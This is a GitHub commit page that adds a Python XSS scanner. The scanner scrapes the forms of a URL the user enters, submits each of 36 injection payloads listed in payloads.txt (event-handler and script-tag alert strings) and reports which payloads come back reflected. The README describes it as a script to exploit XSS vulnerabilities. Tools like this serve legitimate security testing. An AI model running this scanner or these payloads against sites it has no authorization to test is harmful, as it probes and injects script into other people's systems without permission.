Skip to content

Commit ca31643

Browse files
authored
Merge pull request #199 from Ninjavin/xss-scanner-ninjavin
Xss scanner ninjavin
2 parents f9bf905 + de0d9ef commit ca31643

File tree

5 files changed

+103
-0
lines changed

5 files changed

+103
-0
lines changed

Python/XSS-Check/README.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
# Description
2+
3+
A Python Script to exploit XSS Vulnerability of a URL.
4+
5+
## How to execute this Script
6+
7+
+ Run `pip install -r requirements.txt` to install the required packages.
8+
+ Run the script using `python3 XSS-Check.py`
9+
10+
## Example
11+
12+
![image](images/xss-check.png)

Python/XSS-Check/XSS-Check.py

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
import requests
2+
from bs4 import BeautifulSoup
3+
from urllib.parse import urljoin
4+
from colorama import Fore, init, Style
5+
from progress.bar import ChargingBar
6+
init(autoreset=True)
7+
# Get all forms of the mentioned URL
8+
def getAllForms(url):
9+
page = requests.get(url)
10+
parser = BeautifulSoup(page.content, 'html.parser')
11+
return parser.find_all('form')
12+
f = open("payloads.txt", "r").readlines()
13+
successful_payloads = []
14+
def xss():
15+
forms = getAllForms(url)
16+
for form in forms:
17+
# Getting Payload Scripts for Payloads file
18+
bar = ChargingBar(Fore.GREEN + 'Injecting Scripts and finding XSS Vulnerability', max=36)
19+
for payload in f:
20+
bar.next()
21+
# Getting the URL where the form data will be sent
22+
action = form.attrs.get('action').lower()
23+
finalURL = urljoin(url, action)
24+
# Getting the Method through which form data will be sent (GET/POST)
25+
# By default, the method is GET
26+
method = form.attrs.get('method', 'get').lower()
27+
# Filling the Form with Random Data basically the script from Payloads
28+
randomData = {}
29+
for input in form.find_all('input'):
30+
if input['type'] == 'text' or input['type'] == 'search':
31+
input['value'] = payload
32+
inputName = input.get('name')
33+
inputValue = input.get('value')
34+
if inputName and inputValue:
35+
randomData[inputName] = inputValue
36+
if method=='post':
37+
content = requests.post(finalURL, data=randomData)
38+
else:
39+
content = requests.get(finalURL, params=randomData)
40+
# Return True if Payload was successfully Injected
41+
if payload in content.text:
42+
successful_payloads.append(payload)
43+
bar.finish()
44+
url = input(Fore.BLUE + "\nEnter the URL: ")
45+
vulnerable = xss()
46+
if len(successful_payloads):
47+
print(Fore.GREEN + "\nSite is vulnerable to XSS Attack!\n")
48+
for i in successful_payloads:
49+
print(Fore.CYAN + "Payload Injected Successfully --> " + Fore.YELLOW + i)
50+
else:
51+
print(Fore.RED + Style.BRIGHT + "\nXSS Vulnerability not Present!")

Python/XSS-Check/images/xss-check.png

25.8 KB
Loading

Python/XSS-Check/payloads.txt

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
<body onafterprint=alert(1)>
2+
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
3+
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
4+
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
5+
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
6+
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
7+
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
8+
<body onhashchange="alert(1)">
9+
<body onload=alert(1)>
10+
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
11+
<body onpageshow=alert(1)>
12+
<body onresize="alert(1)">
13+
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
14+
<details ontoggle=alert(1) open>test</details>
15+
<input onauxclick=alert(1)>
16+
<a onbeforecopy="alert(1)" contenteditable>test</a>
17+
<a onbeforecut="alert(1)" contenteditable>test</a>
18+
<input onchange=alert(1) value=xss>
19+
<xss onclick="alert(1)">test</xss>
20+
<xss onkeydown="alert(1)" contenteditable>test</xss>
21+
<xss onmousedown="alert(1)">test</xss>
22+
<form onsubmit=alert(1)><input type=submit>
23+
<script>alert(123);</script>
24+
<ScRipT>alert("XSS");</ScRipT>
25+
<script>alert(123)</script>
26+
<script>alert("HACKED");</script>
27+
<script>alert(“XSS”)</script>
28+
<script>alert(“XSS”);</script>
29+
<script>alert(‘XSS’)</script>
30+
“><script>alert(“XSS”)</script>
31+
<script>alert(/XSS”)</script>
32+
<script>alert(/XSS/)</script>
33+
</script><script>alert(1)</script>
34+
‘; alert(1);
35+
‘)alert(1);//
36+
<ScRiPt>alert(1)</sCriPt>

Python/XSS-Check/requirements.txt

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
bs4==0.0.1
2+
colorama==0.4.3
3+
progress==1.5
4+
requests==2.24.0

0 commit comments

Comments
 (0)